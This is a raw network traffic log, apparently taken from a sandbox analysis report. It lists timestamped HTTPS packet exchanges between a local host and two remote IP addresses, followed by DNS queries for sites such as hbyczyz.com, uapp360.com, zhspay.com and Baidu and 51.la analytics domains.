Sep 27, 2024 05:51:05.608362913 CEST	49899	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.608402014 CEST	443	49899	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.608428001 CEST	443	49899	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.608459949 CEST	443	49899	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.608477116 CEST	49899	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.608477116 CEST	49899	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.608486891 CEST	49899	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.608501911 CEST	49899	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.608943939 CEST	443	49907	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.609312057 CEST	49907	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.609373093 CEST	443	49907	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.609749079 CEST	443	49907	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.609813929 CEST	49907	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.610440969 CEST	443	49907	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.610503912 CEST	49907	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.611362934 CEST	49907	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.611463070 CEST	443	49907	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.611706972 CEST	49907	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.611727953 CEST	443	49907	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.616240978 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.616261959 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.616306067 CEST	49896	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.616329908 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.616359949 CEST	49896	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.616383076 CEST	49896	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.625474930 CEST	443	49905	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.626657009 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.626678944 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.626724958 CEST	49896	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.626751900 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.626782894 CEST	49896	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.626820087 CEST	49896	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.628953934 CEST	443	49906	148.153.240.75	192.168.2.5
Sep 27, 2024 05:51:05.629020929 CEST	443	49906	148.153.240.75	192.168.2.5
Sep 27, 2024 05:51:05.629048109 CEST	443	49906	148.153.240.75	192.168.2.5
Sep 27, 2024 05:51:05.629065990 CEST	443	49906	148.153.240.75	192.168.2.5
Sep 27, 2024 05:51:05.629081964 CEST	49906	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:51:05.629110098 CEST	443	49906	148.153.240.75	192.168.2.5
Sep 27, 2024 05:51:05.629144907 CEST	49906	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:51:05.629152060 CEST	443	49906	148.153.240.75	192.168.2.5
Sep 27, 2024 05:51:05.629173040 CEST	443	49906	148.153.240.75	192.168.2.5
Sep 27, 2024 05:51:05.629190922 CEST	443	49906	148.153.240.75	192.168.2.5
Sep 27, 2024 05:51:05.629204988 CEST	49906	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:51:05.629223108 CEST	443	49906	148.153.240.75	192.168.2.5
Sep 27, 2024 05:51:05.629251957 CEST	49906	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:51:05.639451981 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.639472961 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.639529943 CEST	49896	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.639555931 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.639590979 CEST	49896	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.639612913 CEST	49896	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.650311947 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.650358915 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.650392056 CEST	49896	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.650417089 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.650450945 CEST	49896	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.650471926 CEST	49896	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.661604881 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.661648035 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.661686897 CEST	49896	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.661711931 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.661731958 CEST	49907	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.661758900 CEST	49896	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.661786079 CEST	49896	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.673785925 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.673842907 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.673865080 CEST	49896	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.673885107 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.673907042 CEST	49896	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.673937082 CEST	49896	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.676857948 CEST	49905	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.677151918 CEST	49906	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:51:05.679970026 CEST	443	49898	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.680017948 CEST	443	49898	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.680062056 CEST	49898	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.680083036 CEST	443	49898	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.680135965 CEST	49898	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.680136919 CEST	49898	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.683115959 CEST	443	49898	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.683157921 CEST	443	49898	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.683197975 CEST	49898	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.683218956 CEST	443	49898	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.683254004 CEST	49898	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.683274031 CEST	49898	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.683918953 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.683993101 CEST	49896	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.684000969 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.684031010 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.684055090 CEST	49896	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.684082031 CEST	49896	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.693315029 CEST	443	49899	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.693376064 CEST	443	49899	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.693414927 CEST	49899	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.693440914 CEST	443	49899	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.693455935 CEST	49899	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.693480968 CEST	49899	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.695729971 CEST	443	49899	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.695764065 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.695801973 CEST	443	49899	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.695816994 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.695842028 CEST	49899	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.695864916 CEST	443	49899	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.695916891 CEST	49896	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.695924044 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.695941925 CEST	49899	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.695941925 CEST	49899	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.695981979 CEST	49896	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.705113888 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.705162048 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.705193043 CEST	49896	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.705215931 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.705245018 CEST	49896	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.705276012 CEST	49896	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.711560965 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.711604118 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.711632013 CEST	49896	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.711654902 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.711694002 CEST	49896	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.711738110 CEST	49896	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.715784073 CEST	443	49906	148.153.240.75	192.168.2.5
Sep 27, 2024 05:51:05.715795994 CEST	443	49906	148.153.240.75	192.168.2.5
Sep 27, 2024 05:51:05.715812922 CEST	443	49906	148.153.240.75	192.168.2.5
Sep 27, 2024 05:51:05.715818882 CEST	443	49906	148.153.240.75	192.168.2.5
Sep 27, 2024 05:51:05.715852976 CEST	443	49906	148.153.240.75	192.168.2.5
Sep 27, 2024 05:51:05.715866089 CEST	49906	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:51:05.715892076 CEST	443	49906	148.153.240.75	192.168.2.5
Sep 27, 2024 05:51:05.715922117 CEST	49906	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:51:05.715929031 CEST	443	49906	148.153.240.75	192.168.2.5
Sep 27, 2024 05:51:05.715955019 CEST	49906	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:51:05.716006994 CEST	49906	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:51:05.725946903 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.725965023 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.726001024 CEST	49896	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.726023912 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.726057053 CEST	49896	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.726083040 CEST	49896	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.735721111 CEST	49905	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.735752106 CEST	443	49905	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.735785961 CEST	49896	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.736433983 CEST	443	49905	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.738850117 CEST	49905	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.738940954 CEST	443	49905	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.738996029 CEST	49906	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:51:05.739001989 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.739012957 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.739032030 CEST	443	49906	148.153.240.75	192.168.2.5
Sep 27, 2024 05:51:05.739083052 CEST	49896	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.739105940 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.739166021 CEST	49896	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.741185904 CEST	49905	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.750277042 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.750297070 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.750339985 CEST	49896	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.750361919 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.750426054 CEST	49896	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.760569096 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.760588884 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.760626078 CEST	49896	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.760648966 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.760682106 CEST	49896	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.767899990 CEST	443	49898	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.767930984 CEST	443	49898	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.767977953 CEST	49898	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.768011093 CEST	443	49898	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.768047094 CEST	49898	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.768065929 CEST	49898	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.769289970 CEST	443	49898	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.769313097 CEST	443	49898	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.769382954 CEST	49898	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.769397020 CEST	443	49898	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.769433022 CEST	49898	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.769453049 CEST	49898	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.769792080 CEST	443	49898	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.769810915 CEST	443	49898	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.769901037 CEST	49898	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.769915104 CEST	443	49898	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.769979000 CEST	49898	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.772147894 CEST	443	49898	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.772172928 CEST	443	49898	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.772218943 CEST	49898	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.772232056 CEST	443	49898	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.772283077 CEST	49898	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.772309065 CEST	49898	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.772459030 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.772488117 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.772506952 CEST	49896	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.772528887 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.772557020 CEST	49896	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.772578955 CEST	49896	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.778450966 CEST	443	49899	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.778472900 CEST	443	49899	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.778508902 CEST	49899	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.778531075 CEST	443	49899	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.778565884 CEST	49899	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.778585911 CEST	49899	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.779736996 CEST	443	49899	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.779758930 CEST	443	49899	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.779808998 CEST	49899	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.779814005 CEST	443	49899	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.779885054 CEST	49899	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.780889988 CEST	443	49899	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.780909061 CEST	443	49899	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.780945063 CEST	49899	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.780949116 CEST	443	49899	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.781006098 CEST	49899	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.782474041 CEST	443	49899	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.782493114 CEST	443	49899	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.782536030 CEST	49899	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.782551050 CEST	443	49899	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.782584906 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.782593966 CEST	49899	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.782607079 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.782634020 CEST	49896	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.782638073 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.782656908 CEST	49896	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.782692909 CEST	49896	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.783441067 CEST	443	49905	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.792069912 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.792088985 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.792139053 CEST	49896	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.792151928 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.792205095 CEST	49896	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.800113916 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.800133944 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.800163984 CEST	49896	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.800169945 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.800252914 CEST	49896	443	192.168.2.5	47.108.5.198

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Sep 27, 2024 05:50:30.234268904 CEST	192.168.2.5	1.1.1.1	0xb581	Standard query (0)	hbyczyz.com	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:30.234483957 CEST	192.168.2.5	1.1.1.1	0xa4a7	Standard query (0)	hbyczyz.com	65	IN (0x0001)	false
Sep 27, 2024 05:50:30.598608971 CEST	192.168.2.5	1.1.1.1	0x9fa4	Standard query (0)	hbyczyz.com	65	IN (0x0001)	false
Sep 27, 2024 05:50:31.512186050 CEST	192.168.2.5	1.1.1.1	0x2294	Standard query (0)	www.hbyczyz.com	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:31.512891054 CEST	192.168.2.5	1.1.1.1	0x3e27	Standard query (0)	www.hbyczyz.com	65	IN (0x0001)	false
Sep 27, 2024 05:50:32.215552092 CEST	192.168.2.5	1.1.1.1	0x17d0	Standard query (0)	www.hbyczyz.com	65	IN (0x0001)	false
Sep 27, 2024 05:50:33.049681902 CEST	192.168.2.5	1.1.1.1	0x4608	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:33.049879074 CEST	192.168.2.5	1.1.1.1	0x5a0b	Standard query (0)	www.google.com	65	IN (0x0001)	false
Sep 27, 2024 05:50:33.171283007 CEST	192.168.2.5	1.1.1.1	0x4df6	Standard query (0)	www.uapp360.com	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:33.171925068 CEST	192.168.2.5	1.1.1.1	0x1d81	Standard query (0)	www.uapp360.com	65	IN (0x0001)	false
Sep 27, 2024 05:50:33.173048019 CEST	192.168.2.5	1.1.1.1	0x136e	Standard query (0)	js.users.51.la	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:33.173547029 CEST	192.168.2.5	1.1.1.1	0x5fd7	Standard query (0)	js.users.51.la	65	IN (0x0001)	false
Sep 27, 2024 05:50:33.381560087 CEST	192.168.2.5	1.1.1.1	0x7a0d	Standard query (0)	www.uapp360.com	65	IN (0x0001)	false
Sep 27, 2024 05:50:33.648736000 CEST	192.168.2.5	1.1.1.1	0xa7	Standard query (0)	www.hbyczyz.com	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:33.649173021 CEST	192.168.2.5	1.1.1.1	0x9952	Standard query (0)	www.hbyczyz.com	65	IN (0x0001)	false
Sep 27, 2024 05:50:34.711571932 CEST	192.168.2.5	1.1.1.1	0x304c	Standard query (0)	hm.baidu.com	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:34.714246988 CEST	192.168.2.5	1.1.1.1	0x9567	Standard query (0)	hm.baidu.com	65	IN (0x0001)	false
Sep 27, 2024 05:50:34.747112989 CEST	192.168.2.5	1.1.1.1	0xeb4c	Standard query (0)	www.uapp360.com	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:34.747670889 CEST	192.168.2.5	1.1.1.1	0xece4	Standard query (0)	www.uapp360.com	65	IN (0x0001)	false
Sep 27, 2024 05:50:34.994138002 CEST	192.168.2.5	1.1.1.1	0x18ad	Standard query (0)	www.uapp360.com	65	IN (0x0001)	false
Sep 27, 2024 05:50:35.069103003 CEST	192.168.2.5	1.1.1.1	0x3d29	Standard query (0)	ia.51.la	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:35.069506884 CEST	192.168.2.5	1.1.1.1	0x6aa3	Standard query (0)	ia.51.la	65	IN (0x0001)	false
Sep 27, 2024 05:50:35.070283890 CEST	192.168.2.5	1.1.1.1	0x4412	Standard query (0)	sdk.51.la	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:35.070693970 CEST	192.168.2.5	1.1.1.1	0xd71	Standard query (0)	sdk.51.la	65	IN (0x0001)	false
Sep 27, 2024 05:50:35.071433067 CEST	192.168.2.5	1.1.1.1	0xca02	Standard query (0)	push.zhanzhang.baidu.com	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:35.071629047 CEST	192.168.2.5	1.1.1.1	0xafb4	Standard query (0)	push.zhanzhang.baidu.com	65	IN (0x0001)	false
Sep 27, 2024 05:50:35.101269960 CEST	192.168.2.5	1.1.1.1	0x8907	Standard query (0)	js.users.51.la	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:35.102241993 CEST	192.168.2.5	1.1.1.1	0xc29e	Standard query (0)	js.users.51.la	65	IN (0x0001)	false
Sep 27, 2024 05:50:35.500969887 CEST	192.168.2.5	1.1.1.1	0xce70	Standard query (0)	www.zhspay.com	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:35.501291990 CEST	192.168.2.5	1.1.1.1	0x1789	Standard query (0)	www.zhspay.com	65	IN (0x0001)	false
Sep 27, 2024 05:50:35.901385069 CEST	192.168.2.5	1.1.1.1	0x4bc8	Standard query (0)	www.zhspay.com	65	IN (0x0001)	false
Sep 27, 2024 05:50:37.043703079 CEST	192.168.2.5	1.1.1.1	0xc53f	Standard query (0)	api.share.baidu.com	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:37.044025898 CEST	192.168.2.5	1.1.1.1	0x9d29	Standard query (0)	api.share.baidu.com	65	IN (0x0001)	false
Sep 27, 2024 05:50:37.137208939 CEST	192.168.2.5	1.1.1.1	0x22dc	Standard query (0)	ia.51.la	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:37.137492895 CEST	192.168.2.5	1.1.1.1	0xf5a9	Standard query (0)	ia.51.la	65	IN (0x0001)	false
Sep 27, 2024 05:50:37.140150070 CEST	192.168.2.5	1.1.1.1	0xad60	Standard query (0)	hm.baidu.com	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:37.140579939 CEST	192.168.2.5	1.1.1.1	0x2686	Standard query (0)	hm.baidu.com	65	IN (0x0001)	false
Sep 27, 2024 05:50:37.141124964 CEST	192.168.2.5	1.1.1.1	0x54c7	Standard query (0)	push.zhanzhang.baidu.com	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:37.141370058 CEST	192.168.2.5	1.1.1.1	0x4c08	Standard query (0)	push.zhanzhang.baidu.com	65	IN (0x0001)	false
Sep 27, 2024 05:50:38.056945086 CEST	192.168.2.5	1.1.1.1	0xa52f	Standard query (0)	api.share.baidu.com	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:38.057188034 CEST	192.168.2.5	1.1.1.1	0x3a32	Standard query (0)	api.share.baidu.com	65	IN (0x0001)	false
Sep 27, 2024 05:50:38.088562965 CEST	192.168.2.5	1.1.1.1	0x5f29	Standard query (0)	collect-v6.51.la	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:38.088831902 CEST	192.168.2.5	1.1.1.1	0x6f4f	Standard query (0)	collect-v6.51.la	65	IN (0x0001)	false
Sep 27, 2024 05:50:38.141834974 CEST	192.168.2.5	1.1.1.1	0x1101	Standard query (0)	sdk.51.la	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:38.142046928 CEST	192.168.2.5	1.1.1.1	0x5461	Standard query (0)	sdk.51.la	65	IN (0x0001)	false
Sep 27, 2024 05:50:38.156898975 CEST	192.168.2.5	1.1.1.1	0x995b	Standard query (0)	push.zhanzhang.baidu.com	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:38.157187939 CEST	192.168.2.5	1.1.1.1	0x94da	Standard query (0)	push.zhanzhang.baidu.com	65	IN (0x0001)	false
Sep 27, 2024 05:50:38.957060099 CEST	192.168.2.5	1.1.1.1	0x664d	Standard query (0)	collect-v6.51.la	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:38.957192898 CEST	192.168.2.5	1.1.1.1	0xba3a	Standard query (0)	collect-v6.51.la	65	IN (0x0001)	false
Sep 27, 2024 05:50:39.124763012 CEST	192.168.2.5	1.1.1.1	0x4d60	Standard query (0)	sdk.51.la	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:39.125148058 CEST	192.168.2.5	1.1.1.1	0x9041	Standard query (0)	sdk.51.la	65	IN (0x0001)	false
Sep 27, 2024 05:50:39.125842094 CEST	192.168.2.5	1.1.1.1	0xc5ec	Standard query (0)	js.users.51.la	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:39.126055956 CEST	192.168.2.5	1.1.1.1	0xcadc	Standard query (0)	js.users.51.la	65	IN (0x0001)	false
Sep 27, 2024 05:50:39.157053947 CEST	192.168.2.5	1.1.1.1	0x3ddf	Standard query (0)	www.zhspay.com	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:39.157366991 CEST	192.168.2.5	1.1.1.1	0x88e2	Standard query (0)	www.zhspay.com	65	IN (0x0001)	false
Sep 27, 2024 05:50:39.241492987 CEST	192.168.2.5	1.1.1.1	0xe529	Standard query (0)	api.share.baidu.com	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:39.241767883 CEST	192.168.2.5	1.1.1.1	0xc2e	Standard query (0)	api.share.baidu.com	65	IN (0x0001)	false
Sep 27, 2024 05:50:40.299449921 CEST	192.168.2.5	1.1.1.1	0x127b	Standard query (0)	ia.51.la	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:40.299941063 CEST	192.168.2.5	1.1.1.1	0xaf3a	Standard query (0)	ia.51.la	65	IN (0x0001)	false
Sep 27, 2024 05:50:41.009605885 CEST	192.168.2.5	1.1.1.1	0x55a4	Standard query (0)	collect-v6.51.la	A (IP address)	IN (0x0001)	false
